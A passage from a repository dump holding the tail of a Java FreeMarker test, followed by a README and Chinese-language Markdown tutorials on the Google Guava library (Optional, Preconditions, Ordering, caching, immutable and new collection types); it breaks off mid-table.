FileWriter(dir+\"\\\\test04_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\ttemplate.process(root, out);\n\t}\n\t\n\t@Test\n\tpublic void testFreemarker05() throws Exception{\n\t\tConfiguration cfg = new Configuration();\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\tcfg.addAutoImport(\"my\", \"common.ftl\");\n\t\tTemplate template = cfg.getTemplate(\"test05.ftl\");\n\t\tMap root = new HashMap();\n\t\troot.put(\"name\", \"names123\");\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test05_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/.gitignore",
    "content": ".project\n.classpath\n.settings\ntarget\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/README.txt",
    "content": "This is a pet project demonstrating some of the basic usage in the Google Guava library:\n\n> http://code.google.com/p/guava-libraries/\n\nThe best way to try them out for yourself is to: \n 1) Clone the project\n 2) Run mvn eclipse:eclipse\n 3) Import into Eclipse\n 4) Explore and run the different test-classes in src/test/java.\n\nYou can also find slides with the examples here: http://blog.tfnico.com/2010/06/google-guava-taking-over-for-google.html\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-defaults.md",
    "content": "默认值(Defaults)\n===\nDefaults类提供Java各原生类型的默认值\n\ncom.google.common.base.Defaults.defaultValue(Class<T> type)\n\n```java   \nboolean.class                         //返回false  \nchar.class                            //返回'\\0'  \nbyte.class                            //返回(byte)0  \nshort.class                           //返回(short)0 \nint.class                             //返回0  \nlong.class                            //返回0L  \nfloat.class                           //返回0f  \ndouble.class                          //返回0d  \nnon-primitive types                   //返回null\n```\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-object-methods.md",
    "content": "常用的对象方法(Objects)\n===\nObjects提供了Java对象的equals、hashCode、toString等方法\n\n#### equals\n覆写equals方法时, 减少了null判断和分支处理  \n\n```java  \nObjects.equal(\"a\", \"a\"); // returns true\nObjects.equal(null, \"a\"); // returns false\nObjects.equal(\"a\", null); // returns false\nObjects.equal(null, null); // returns true\n```\n\n#### hashCode\n更方便地完成多个属性的hash\n\n```java  \nObjects.hashCode(Object...)\nObjects.hashCode(field1, field2, ..., fieldn)\n```\n\n#### toString\n对象的toString方法更多是为了更好的可读性, ToStringHelper可以通过链式更方便地将对象的各属性都加入\n\n```java   \nObjects.toStringHelper(Persion.class)\n       .add(\"name\", this.name)\n       .add(\"age\", this.age)\n       .toString();\n```\n\n> Intellij Idea中可以安装*Guava equals, hashCode and toString generator*插件来快速生成这三个方法\n\n\n#### compare/compareTo\ncompareTo是java.lang.Comparable<T>接口中的方法  \n\nguava提供了所有原始类型的对比工具\n```java   \nInts.compare(int a, int b)  \nLongs.compare(long a, long b)\nShorts.compare(short a, short b)\nDoubles.compare(double a, double b)\nFloats.compare(float a, floab b)\nBooleans.compare(boolean a, boolean b)\nChars.compare(char a, char b)\n```\n\n同时，guava还提供了链式对比的工具ComparisonChain\n```java   \nComparisonChain.start()\n         .compare(this.aString, that.aString)\n         .compare(this.anInt, that.anInt)\n         .compare(this.anEnum, that.anEnum, Ordering.natural().nullsLast())\n         .result();\n```\nComparisonChain是一个lazy的比较过程， 当比较结果为0的时候， 即相等的时候， 会继续比较下去， 出现非0的情况， 就会忽略后面的比较\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-ordering.md",
    "content": "犀利的比较器(Ordering)\n===\nOrdering是Guava类库提供的一个犀利强大的比较器工具，Guava的Ordering和JDK Comparator相比功能更强。它非常容易扩展，可以轻松构造复杂的comparator，然后用在容器的比较、排序等操作中。\n\n#### 常用静态方法\n\n```java  \n\nOrdering.natural();                  // 使用Comparable类型的自然顺序， 例如：整数从小到大，字符串是按字典顺序;  \nOrdering.usingToString();            // 使用toString()返回的字符串按字典顺序进行排序；\nOrdering.from(Comparator);           // 将Comparator转换为Ordering\nnew Ordering<T>(){                   // 或者直接构建一个Ordering对象，并实现compare方法\n\tpublic int compare(T left, T right){}\n}\n```\n\n\n#### 实例方法(支持链式)\ncom.google.common.collect.Ordering\n\n```java   \nreverse();                            //返回与当前Ordering相反的排序   \nnullsFirst();                         //返回一个将null放在non-null元素之前的Ordering，其他的和原始的Ordering一样  \nnullsLast();                          //返回一个将null放在non-null元素之后的Ordering，其他的和原始的Ordering一样  \ncompound(Comparator);                 //返回一个使用Comparator的Ordering，Comparator作为第二排序元素  \nlexicographical();                    //返回一个按照字典元素迭代的Ordering  \nonResultOf(Function);                 //将function应用在各个元素上之后, 在使用原始ordering进行排序  \ngreatestOf(Iterable iterable, int k); //返回指定的前k个可迭代的最大的元素，按照当前Ordering从最大到最小的顺序  \nleastOf(Iterable iterable, int k);    //返回指定的前k个可迭代的最小的元素，按照当前Ordering从最小到最大的顺序  \nisOrdered(Iterable);                  //是否有序(前面的元素可以大于或等于后面的元素)，Iterable不能少于2个元素\nisStrictlyOrdered(Iterable);          //是否严格有序(前面的元素必须大于后面的元素)，Iterable不能少于两个元素  \nsortedCopy(Iterable);                 //返回指定的元素作为一个列表的排序副本\n\n```\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-preconditions.md",
    "content": "优雅的参数检查(Preconditions)\n===\n#### 问题\n对外接口方法参数过多时，需对参数进行必要的检查，将预期之外的请求快速驳回。\n\n```java  \npublic boolean someMethod(int arg1, String arg2, String arg3, Object arg4){  \n\tif( arg1>0 && isNotEmpty(arg2) && isNotEmpty(arg3) && arg4!=null){  \n\t\treturn false; // maybe需要将具体的错误类型告诉调用方  \n\t}  \n\t...  \n}  \n\n```\n\n#### 方案\ncom.google.common.base.Preconditions\n\n```java  \n// 检查boolean是否为真  \n// 失败时抛出 IllegalArgumentException  \nPreconditions.checkArgument(boolean expression, String errMsg, Object... errMsgArgs)\n\n// 检查value是否为null  \n// 失败时抛出 NullPointerException  \nPreconditions.checkNotNull(T reference, String errMsg, Object... errMsgArgs)\n\n// 检查对象的一些状态, 不依赖方法参数(相比checkArgument, 在某些情况下更有语义...)  \n// 失败时抛出 IllegalStateException  \nPreconditions.checkState(boolean expression, String errMsg, Object... errMsgArgs)\n\n// 检查index是否在合法范围[0, size)(不包含size)  \n// 失败时抛出 IndexOutOfBoundsException  \nPreconditions.checkElementIndex(int index, int size, String desc)\n\n// 检查位置是否在合法范围[0, size](包含size)\n// 失败时抛出 IndexOutOfBoundsException  \nPreconditions.checkPositionIndex(int index, int size, String desc)\n\n// 检查[start, end)是一个长度为size的集合合法的子集范围\n// 失败时抛出 IndexOutOfBoundsException  \nPreconditions.checkPositionIndexs(int start, int index, int size)\n\n```\n\n建议通过静态方式引入com.google.common.base.Preconditions.*\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-throwables.md",
    "content": "简化异常处理(Throwables)\n===\nGuava提供了一个异常处理工具类, 可以简单地捕获和重新抛出多个异常\n\n#### 常用方法\n\n```java\n// 把throwable包装成RuntimeException，用该方法保证异常传递，抛出一个RuntimeException异常  \nRuntimeException propagate(Throwable); \n\n// 当且仅当它是一个X的实例时，传递throwable  \nvoid propagateIfInstanceOf(Throwable, Class<X extends Exception>) throws X;\n\n// 当且仅当它是一个RuntimeException和Error时，传递throwable  \nvoid propagateIfPossible(Throwable); \n\n// 当且仅当它是一个RuntimeException和Error时，或者是一个X的实例时，传递throwable  \nvoid propagateIfPossible(Throwable, Class<X extends Throwable>) throws X;\n```\n\n#### 异常链处理\n```java  \nThrowable getRootCause(Throwable)  \nList<Throwable> getCausalChain(Throwable) \nString getStackTraceAsString(Throwable)  \n```\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/basic-utilities-using-avoiding-null.md",
    "content": "使用和避免null\n===\n\n\nnull本身不是对象，也不是Objcet的实例\n\n#### 问题:\nnull代表不确定的对象, 是一个很模糊的概念, 容易产生二义性\n\nMap.get(key)若返回value值为null，其代表的含义可能是该键指向的value值是null，亦或者该键在map中并不存在\n\n#### 优点:\n从内存消耗和效率方面，null更加廉价\n\n#### 优化: Optional\ncom.google.common.base.Optional\n\n```java\nOptional<T> possbile = Optional.formNullable(T); //将一个T的实例转换为Optional对象(T可以为空)\nboolean present = possible.isPresent();          //若Optional包含的T实例不为null，则返回true；若T实例为null，返回false\nT t = possible.get();                            //返回Optional包含的T实例，该T实例必须不为空；否则，抛出一个IllegalStateException异常\n```\n\n构建一个Optional对象\n\n```java\nOptional.of(T);                   //将一个T的实例转换为Optional对象(T不可以为空)\nOptional.absent();                //获得一个Optional对象，其内部包含了空值\nOptional.fromNullable(T);         //将一个T的实例转换为Optional对象，T的实例可以不为空，也可以为空  \n                                  //Optional.fromNullable(null) 等同于 Optional.absent()  \n```\n\nOptional实例方法\n\n```java\nboolean isPresent();              //若Optional包含的T实例不为null, 返回true; 否则, 返回false\nT get();                          //若Optional包含的T实例不为null, 返回T; 否则, 抛出IllegalStateException\nT or(T);                          //若Optional包含的T实例不为null, 返回T; 否则, 返回参数输入的T实例\nT orNull();                       //若Optional包含的T实例不为null, 返回T; 否则, 返回null\n```\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/caches.md",
    "content": "缓存\n===\n\n### 什么是缓存\n缓存你懂的，memcached用过没？ehcache用过没？内存Map总该用过吧...\n\n当计算或检索一个值的代价很高，并且对同样的输入需要不止一次获取值的时候，就应当考虑使用缓存。这下懂了吧\n\n换句话说，缓存就是以空间换时间\n\n### 问题\n内存Map会一直保存所有添加的元素, 直到显示地移除, 所以会一直占用内存  \n而Guava Cache为了限制内存使用，通常都设定为自动回收元素。  \n\n由于存放于内存中，Guava Cache不适合存放过大的数据，数据量较大时，可以尝试使用 Memcached 等\n\n### 主要流程\nget-if-absent-compute  \n如果有缓存则返回；否则运算、缓存、然后返回\n\n### 缓存加载\n当缓存不存在时，guava提供了多种方式来加载数据: CacheLoader、Callable、显示插入.\n\n###### CacheLoader\n\nLoadingCache是一种基于CacheLoader的缓存实现. \n\n```java  \nLoadingCache<Key, Graph> graphs = CacheBuilder.newBuilder()  \n        .maximumSize(1000)\n        .expireAfterWrite(10, TimeUnit.MINUTES)\n        .build(\n            new CacheLoader<Key, Graph>() {\n                public Graph load(Key key) throws AnyException {\n                    return createExpensiveGraph(key);\n                }\n            });\n\n...\ntry {\n    return graphs.get(key);\n} catch (ExecutionException e) {\n    throw new OtherException(e.getCause());\n}\n```\n使用LoadingCache.get(K)方法可以获取缓存中对应的值，如果没有缓存，则会使用CacheLoader原子地加载新值.\n\n###### Callable\n\n所有类型的Guava Cache, 不管有没有自动加载功能, 都支持get(K, Callable<V>)方法。  \nget(K, Callable<V>)方法尝试返回缓存中对应的值; 如果值不存在，则使用Callable运算，并把结果加入缓存中。\n\n```java  \nCache<Key, Graph> cache = CacheBuilder.newBuilder()\n        .maximumSize(1000)\n        .build(); // 看，木有CacheLoader\n...\ntry {\n    cache.get(key, new Callable<Key, Graph>() {\n        @Override\n        public Value call() throws AnyException {\n            // 缓存不存在，就会调用call()方法计算, 并把结果加入缓存\n            return doThingsTheHardWay(key);\n        }\n    });\n} catch (ExecutionException e) {\n    throw new OtherException(e.getCause());\n}\n```\n这种方式简便地实现了\"get-if-absent-compute\"模式\n\n###### 显式插入\n\n使用cache.put(key, value)方法可以直接向缓存中插入值, 该方法会直接覆盖掉给定键之前映射的值. \n\n\n### 缓存回收\n由于guava缓存是将数据存放于内存中，所以确定一定以及肯定没有足够的内存存放所有的数据  \nguava提供了三种基本的缓存回收方式: 基于容量回收、定时回收和基于引用回收。\n\n###### 基于容量回收(Size-based Eviction)\n\n构建Cache时，可以通过CacheBuilder.maximumSize(long)来指定缓存的容量.   \n在缓存容量达到指定容量时(maybe达到之前), 会尝试回收最近没有使用或总体上很少使用的缓存项.  \n\n另外，可以通过CacheBuilder.weight(Weigher), 来指定权重函数, 权重函数将在缓存创建时计算\n\n```java  \nLoadingCache<Key, Graph> graphs = CacheBuilder.newBuilder()\n        .maximumWeight(100000)\n        .weigher(new Weigher<Key, Graph>() {\n            public int weigh(Key k, Graph g) {\n                return g.vertices().size();\n            }\n        })\n        .build(\n            new CacheLoader<Key, Graph>() {\n                public Graph load(Key key) { // no checked exception\n                    return createExpensiveGraph(key);\n                }\n            });\n```\n\n###### 定时回收(Timed Eviction)\n\nCacheBuilder提供两种定时回收的方式：\n\n* expireAfterAccess(long, TimeUnit): 缓存在给定时间内没有被读/写访问过, 则回收. 回收顺序与基于容量回收的一样\n* expireAfterWrite(long, TimeUnit): 缓存在给定时间内没有被写访问(创建/覆盖), 则回收. \n\n###### 基于引用回收(Reference-based Eviction)\n\n如果使用week references的键/值、soft references的值，则缓存允许被垃圾回收:\n\n* CacheBuilder.weakKeys()\n* CacheBuilder.weakValues()\n* CacheBuilder.softValues()\n\n###### 显式移除\n\n可以通过以下接口，在任何时间清除缓存\n\n* Cache.invalidate(key): 单个清除 \n* Cache.invalidateAll(keys): 批量清除\n* Cache.invalidateAll(): 清除所有缓存项\n\n###### 移除监听器\n\nCacheBuilder.removalListener(RemovalListener)  \n添加一个监听器，在缓存项被移除时，进行额外操作.  \n\n```java  \nRemovalListener<Key, Value> removalListener = new RemovalListener<Key, Value>() {\n\n\t// 缓存项被移除时，RemovalListener会获取移除通知[RemovalNotification]  \n\t// 其中包含移除原因[RemovalCause]、键和值  \n    public void onRemoval(RemovalNotification<Key, Value> removal) {\n\t    removal.getKey(); // 被移除的Key\n\t    removal.getValue(); // 被移除的Value\n\t    removal.getCause(); // 被移除的原因: EXPLICIT、REPLACED、COLLECTED、EXPIRED、SIZE\n    }\n};\n\nreturn CacheBuilder.newBuilder()\n    .expireAfterWrite(2, TimeUnit.MINUTES)\n    .removalListener(removalListener)\n    .build(loader);\n```\n\n用RemovalListeners.asynchronous(RemovalListener, Executor)把监听器装饰为异步操作\n\n###### 缓存清理的时间点\n\n使用CacheBuilder构建的缓存，不会“自动”执行清理和回收工作.  \nguava并没有建立独立线程来完成清理工作, 而是在写操作时顺带做少量的维护工作.  \n使用者可以建立自己的独立线程, 来主动清理缓存, 只需要调用Cache.cleanUp()就可以了\n\n###### 刷新\n\nLoadingCache.referesh(K)  刷新表示为键加载新值, 可以异步完成  \n刷新和回收不一样，刷新时，缓存仍然可以向其他线程返回旧值，而回收时，读取线程必须等待新值加载完成.  \n如果刷新失败(抛出异常)，缓存将保留旧值  \n\nCacheLoader.reload(K, V)可以扩展刷新时的行为  \nCacheBuilder.refreshAfterWrite(long, TimeUnit)可以为缓存增加自动定时刷新功能  \n\n### 其他特性\n\n###### 统计\nCacheBuilder.recordStats()  开启Guava Cache的统计功能。  \nCache.stats()  返回CacheStats对象\n\nCacheStatus提供如下统计信息:  \nCacheStats.hitRate()  缓存命中率  \nCacheStats.hitCount()  缓存命中数量  \nCacheStats.averageLoadPenalty()  加载新值的平均时间，单位为纳秒  \nCacheStats.evictionCount()  缓存项被回收的总数，不包括显式清除  \n...\n\n###### Map视图\n\ncache.asMap()  提供了缓存的ConcurrentMap形式  \n\n* asMap()包含当前所有加载到缓存的项\n* asMap().get(key)实质上等同于cache.getIfPresent(key)，而且不会引起缓存项的加载\n* Cache.asMap().get(Object)方法和Cache.asMap().put(K, V)方法会重置相关缓存项的访问时间\n\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/collections-extension-utilities.md",
    "content": "集合扩展工具类\n===\n有时候你需要实现自己的集合扩展。也许你想要在元素被添加到列表时增加特定的行为，或者你想实现一个Iterable，其底层实际上是遍历数据库查询的结果集。Guava提供了若干工具方法，以便让类似的工作变得更简单。\n\n\n#### Forwarding Decorators\n针对所有类型的集合接口，Guava都提供了Forwarding抽象类以简化*装饰者模式*的使用。  \nForwarding抽象类定义了一个抽象方法：delegate()，你可以覆盖这个方法来返回被装饰对象。所有其他方法都会直接委托给delegate()。  \n通过创建ForwardingXXX的子类并实现delegate()方法，可以选择性地覆盖子类的方法来增加装饰功能，而不需要自己委托每个方法。  \n此外，很多集合方法都对应一个”标准方法[standardxxx]“实现，可以用来恢复被装饰对象的默认行为，比如standardAdd  \n\n示例:  \n```java  \nclass AddLoggingList<E> extends ForwardingList<E> {  \n    final List<E> delegate; // backing list  \n    @Override  \n    protected List<E> delegate() {  \n        return delegate;  \n    }  \n    @Override  \n    public void add(int index, E elem) {  \n        log(index, elem);  \n        super.add(index, elem);  \n    }  \n    @Override  \n    public boolean add(E elem) {  \n        return standardAdd(elem); // implements in terms of add(int, E)  \n    }  \n    @Override  \n    public boolean addAll(Collection<? extends E> c) {  \n        return standardAddAll(c); // implements in terms of add  \n    }  \n}  \n\n```\n\n目前提供了Forwarding包装类的接口有:  \nForwardingCollection、ForwardingList、ForwardingSet、ForwardingSortedSet、ForwardingMap、ForwardingSortedMap、ForwardingConcurrentMap、ForwardingMapEntry、ForwardingQueue、ForwardingIterator、ForwardingListIterator、ForwardingMultiset、ForwardingMultimap、ForwardingListMultimap、ForwardingSetMultimap\n\n#### PeekingIterator\nIterators提供一个Iterators.peekingIterator(Iterator)方法，来把Iterator包装为PeekingIterator，这是Iterator的子类，它能让你提前查看下一次调用next()返回的元素  \n注意：Iterators.peekingIterator返回的PeekingIterator不支持在peek()操作之后调用remove()方法。 \n\n示例：复制一个List，并去除连续的重复元素。\n```java  \nList<E> result = Lists.newArrayList();\nPeekingIterator<E> iter = Iterators.peekingIterator(source.iterator());\nwhile (iter.hasNext()) {\n    E current = iter.next();\n    while (iter.hasNext() && iter.peek().equals(current)) {\n        // skip this duplicate element\n        iter.next();\n    }\n    result.add(current);\n}\n\n```\n\n##### AbstractIterator\n\nAbstractIterator可以让你更方便地实现自己的Iterator\n\n```java  \npublic static Iterator<String> skipNulls(final Iterator<String> in) {  \n    return new AbstractIterator<String>() {  \n        protected String computeNext() {  \n            while (in.hasNext()) {  \n                String s = in.next();  \n                if (s != null) {  \n                    return s;  \n                }  \n            }  \n            return endOfData();  \n        }  \n    };  \n}  \n\n```\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/collections-immutable-collections.md",
    "content": "不可变集合(Immutable collections)\n===\n不可变集合是不可被修改的, 集合的数据项是在创建的时候提供, 并且在整个生命周期中都不可改变.\n\nImmutable对象有以下的优点:  \n\n* 对不可靠的客户代码库来说，它使用安全，可以在未受信任的类库中安全的使用这些对象\n* 线程安全的：immutable对象在多线程下安全，没有竞态条件\n* 不需要支持可变性, 可以尽量节省空间和时间的开销. 所有的不可变集合实现都比可变集合更加有效的利用内存 (analysis)\n* 可以被使用为一个常量，并且期望在未来也是保持不变的\n\nImmutable对象是一个很好的防御编程(defensive programming)的技术实践\n\n#### 问题\nJDK自带的Collections.unmodifiableXXX实现的不是真正的不可变集合，当原始集合修改后，不可变集合也发生变化。\n\n```java  \n\tList<String> lists = Lists.newArrayList(\"aa\", \"bb\", \"cc\");\n\n\tList<String> unmodifiedLists = Collections.unmodifiableList(lists);\n\tassertEquals(3, unmodifiedLists.size());\n\n\tlists.add(\"dd\");\n\tassertEquals(4, unmodifiedLists.size());\n```  \n  \nJDK自带的Collections.unmodifiableXXX实现的不可变集合存在问题:  \n\n* 它不安全: 如果有对象reference原始的被封装的集合类，这些方法返回的集合也就不是正真的不可改变\n* 效率低: 因为它返回的数据结构本质仍旧是原来的集合类，所以它的操作开销，包括并发下修改检查，hash table里的额外数据空间都和原来的集合是一样的。\n\n\n#### 方案\ncom.google.common.collect.ImmutableXXX\n\n##### 创建Immutable集合的方法\n```java\nImmutableSet.copyOf(set);           // 使用copyOf方法\nImmutableSet.of(\"a\", \"b\", \"c\");     // 使用of方法\nImmutableMap.of(\"a\", 1, \"b\", 2);    // 使用of方法\nImmutableSet.<Color>builder()       // 使用builder \n            .add(new Color(0, 255, 255))\n            .add(new Color(0, 191, 255))\n            .build();\n```\n\n##### 智能的copyOf方法  \n一般来说，ImmutableXXX.copyOf(ImmutableCollection)会避免线性复杂度的拷贝操作:\n\n* 这个操作有可能就利用了被封装数据结构的常数复杂度的操作。但例如ImmutableSet.copyOf(list)不能在常数复杂度下实现。\n* 这样不会导致内存泄漏－例如，你有个ImmutableList<String> imInfolist，然后你显式操作ImmutableList.copyOf(imInfolist.subList(0, 10))。这样的操作可以避免意外持有不再需要的在hugeList里元素的reference。\n* 它不会改变集合的语意－像ImmutableSet.copyOf(myImmutableSortedSet)这样的显式拷贝操作，因为在ImmutableSet里的hashCode()和equals()的含义和基于comparator的ImmutableSortedSet是不同的。  \n\n这些特性有助于最优化防御性编程的性能开销\n\n##### asList方法\n所有的immutable集合都以asList()的形式提供了ImmutableList视图(view).  \n比如，你把数据放在ImmutableSortedSet，你就可以调用sortedSet.asList().get(k)来取得第k个元素的集合。  \n返回的ImmutableList常常是个常数复杂度的视图，而不是一个真的拷贝。  \n\n##### guava中的不可变集合\n\n<table>\n<tbody>\n<tr>\n\t<td>可变类型集合</td>\n\t<td>来源</td>\n\t<td>Guava中的不可变集合</td>\n</tr>\n<tr>\n\t<td>Collection </td>\n\t<td>JDK</td>\n\t<td>ImmutableCollection</td>\n</tr>\n<tr>\n\t<td>List</td>\n\t<td>JDK</td>\n\t<td>ImmutableList</td>\n</tr>\n<tr>\n\t<td>Set</td>\n\t<td>JDK</td>\n\t<td>ImmutableSet</td>\n</tr>\n<tr>\n\t<td>SortedSet/NavigableSet</td>\n\t<td>JDK</td>\n\t<td>ImmutableSortedSet</td>\n</tr>\n<tr>\n\t<td>Map</td>\n\t<td>JDK</td>\n\t<td>ImmutableMap</td>\n</tr>\n<tr>\n\t<td>SortedMap</td>\n\t<td>JDK</td>\n\t<td>ImmutableSortedMap</td>\n</tr>\n<tr>\n\t<td>Multiset</td>\n\t<td>Guava</td>\n\t<td>ImmutableMultiset</td>\n</tr>\n<tr>\n\t<td>SortedMultiset</td>\n\t<td>Guava</td>\n\t<td>ImmutableSortedMultiset</td>\n</tr>\n<tr>\n\t<td>Multimap</td>\n\t<td>Guava</td>\n\t<td>ImmutableMultimap</td>\n</tr>\n<tr>\n\t<td>ListMultimap</td>\n\t<td>Guava</td>\n\t<td>ImmutableListMultimap</td>\n</tr>\n<tr>\n\t<td>SetMultimap</td>\n\t<td>Guava</td>\n\t<td>ImmutableSetMultimap</td>\n</tr>\n<tr>\n\t<td>BiMap</td>\n\t<td>Guava</td>\n\t<td>ImmutableBiMap</td>\n</tr>\n<tr>\n\t<td>ClassToInstanceMap</td>\n\t<td>Guava</td>\n\t<td>ImmutableClassToInstanceMap</td>\n</tr>\n<tr>\n\t<td>Table</td>\n\t<td>Guava</td>\n\t<td>ImmutableTable</td>\n</tr>\n</tbody>\n</table>\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/collections-new-collection-types.md",
    "content": "Guava新增集合类型\n===\nGuava新增了一些JDK中没有的，但是被广泛使用到的新集合类型\n\n* [Multiset](#multiset)\n* [SortedMultiset](#sortedmultiset)\n* [MultiMap](#multimap)\n* [BiMap](#bimap)\n* [Table](#table)\n* [ClassToInstanceMap](#classtoinstancemap)\n* [RangeSet](#rangeset)\n\n<h3 id=\"multiset\">Multiset</h3>\n\nMultiset和Set的区别就是可以保存多个相同的对象。  \nMultiset占据了List和Set之间的一个灰色地带：允许重复，但是不保证顺序。  \n常见使用场景：Multiset有一个有用的功能，就是跟踪每种对象的数量，所以你可以用来进行数字统计。  \n\nMultiset接口定义的接口主要有：\n\n* add(E element): 向其中添加单个元素\n* add(E element,int occurrences): 向其中添加指定个数的元素\n* count(Object element): 返回给定参数元素的个数\n* remove(E element): 移除一个元素，其count值 会响应减少\n* remove(E element,int occurrences): 移除相应个数的元素\n* elementSet(): 将不同的元素放入一个Set中\n* entrySet(): 类似与Map.entrySet 返回Set<Multiset.Entry>。包含的Entry支持使用getElement()和getCount()\n* setCount(E element ,int count): 设定某一个元素的重复次数\n* setCount(E element,int oldCount,int newCount): 将符合原有重复个数的元素修改为新的重复次数\n* retainAll(Collection c): 保留出现在给定集合参数的所有的元素\n* removeAll(Collectionc): 去除出现给给定集合参数的所有的元素\n\nGuava提供了很多和JDK中的Map对应的Multiset的实现\n<table>\n<tr>\n\t<td>Map</td>\n\t<td>对应的MultiSet</td>\n\t<td>支持null值</td>\n</tr>\n<tr>\n\t<td>HashMap</td>\n\t<td>HashMultiset</td>\n\t<td>是</td>\n</tr>\n<tr>\n\t<td>TreeMap</td>\n\t<td>TreeMultiSet</td>\n\t<td>是</td>\n</tr>\n<tr>\n\t<td>LinkedHashMap</td>\n\t<td>LinkedHashMultiset</td>\n\t<td>是</td>\n</tr>\n<tr>\n\t<td>ConcurrentHashMap</td>\n\t<td>ConcurrentHashMultiset</td>\n\t<td>否</td>\n</tr>\n<tr>\n\t<td>ImmutableMap</td>\n\t<td>ImmutableMultiset</td>\n\t<td>否</td>\n</tr>\n</table>\n\n<h3 id=\"sortedmultiset\">SortedMultiset</h3>\n\nSortedMultiset是Multiset 接口的变种，它支持高效地获取指定范围的子集。  \n比如，你可以用 latencies.subMultiset(0,BoundType.CLOSED, 100, BoundType.OPEN).size()来统计你的站点中延迟在100毫秒以内的访问，然后把这个值和latencies.size()相比，以获取这个延迟水平在总体访问中的比例。\n\nTreeMultiset实现SortedMultiset接口。\n\n<h3 id=\"multimap\">MultiMap</h3>\n\n经常会遇到这种结构 Map<K, List<V>>或Map<K, Set<V>>  \nMultimap可以很容易地把一个键映射到多个值。换句话说，Multimap是把键映射到任意多个值的一种方式。\n\n可以用两种方式思考Multimap的概念:  \n\n* \"键-单个值映射\"的集合:  a->1, a->2, a->4, b->3, c->5\n* \"键-值集合映射\"的映射:  a->[1,2,4], b->3, c->5\n\n一般情况下都会使用ListMultimap或SetMultimap接口，它们分别把键映射到List或Set。  \nMultimap.get(key)以集合形式返回键所对应的值视图, 即使没有任何对应的值，也会返回空集合。  \n对值视图集合进行的修改最终都会反映到底层的Multimap。  \n\n##### 修改Multimap的方法有:\n<table>\n<tr>\n\t<td>方法签名</td>\n\t<td>描述</td>\n\t<td>等价于</td>\n</tr>\n<tr>\n\t<td>put(K, V)</td>\n\t<td>添加键到单个值的映射</td>\n\t<td>multimap.get(key).add(value)</td>\n</tr>\n<tr>\n\t<td>putAll(K, Iterable<V>)</td>\n\t<td>依次添加键到多个值的映射</td>\n\t<td>Iterables.addAll(multimap.get(key), values)</td>\n</tr>\n<tr>\n\t<td>remove(K, V)</td>\n\t<td>移除键到值的映射；如果有这样的键值并成功移除，返回true。</td>\n\t<td>multimap.get(key).remove(value)</td>\n</tr>\n<tr>\n\t<td>removeAll(K)</td>\n\t<td>清除键对应的所有值，返回的集合包含所有之前映射到K的值，但修改这个集合就不会影响Multimap了。</td>\n\t<td>multimap.get(key).clear()</td>\n</tr>\n<tr>\n\t<td>replaceValues(K, Iterable<V>)</td>\n\t<td>清除键对应的所有值，并重新把key关联到Iterable中的每个元素。返回的集合包含所有之前映射到K的值。</td>\n\t<td>multimap.get(key).clear();   Iterables.addAll(multimap.get(key), values)</td>\n</tr>\n</table>\n\n##### Multimap不是Map\nMultimap<K, V>不是Map<K,Collection<V>>\n\n* Multimap.get(key)总是返回非null、但是可能空的集合。这并不意味着Multimap为相应的键花费内存创建了集合，而只是提供一个集合视图方便你为键增加映射值\n* 如果你更喜欢像Map那样，为Multimap中没有的键返回null，请使用asMap()视图获取一个Map<K, Collection<V>>\n* 当且仅当有值映射到键时，Multimap.containsKey(key)才会返回true\n* Multimap.entries()返回Multimap中所有”键-单个值映射”——包括重复键。如果你想要得到所有”键-值集合映射”，请使用asMap().entrySet()。\n* Multimap.size()返回所有”键-单个值映射”的个数，而非不同键的个数。要得到不同键的个数，请改用Multimap.keySet().size()。\n\n<h3 id=\"bimap\">BiMap</h3>\n\nBiMap提供了key和value双向关联的数据结构。\n\n* 可以用inverse()反转BiMap<K, V>的键值映射, 反转的map不是新的map对象，它实现了一种视图关联，这样你对于反转后的map的所有操作都会影响原先的map对象\n* 保证值是唯一的，因此 values()返回Set而不是普通的Collection\n* 如果你想把键映射到已经存在的值，会抛出IllegalArgumentException异常, 使用BiMap.forcePut(key, value)可强制替换\n\n```java  \nBiMap<Integer,String> logfileMap = HashBiMap.create(); \nBiMap<String,Integer> filelogMap = logfileMap.inverse();\n```\n\n<h3 id=\"table\">Table</h3>\n\n当我们需要多个索引的数据结构的时候，通常情况下，我们只能用这种丑陋的Map<FirstName, Map<LastName, Person>>来实现。为此Guava提供了一个新的集合类型－Table集合类型，来支持这种数据结构的使用场景。  \n\n##### Table的视图\n<table>\n<tr>\n\t<td>视图</td>\n\t<td>描述</td>\n</tr>\n<tr>\n\t<td>rowMap()</td>\n\t<td>用Map<R, Map<C, V>>表现Table<R, C, V></td>\n</tr>\n<tr>\n\t<td>rowKeySet()</td>\n\t<td>rowKeySet()返回”行”的集合Set<R></td>\n</tr>\n<tr>\n\t<td>row(r) </td>\n\t<td>用Map<C, V>返回给定”行”的所有列，对这个map进行的写操作也将写入Table中。</td>\n</tr>\n<tr>\n\t<td>columnMap()</td>\n\t<td>用Map<C, Map<R, V>>表现Table<R, C, 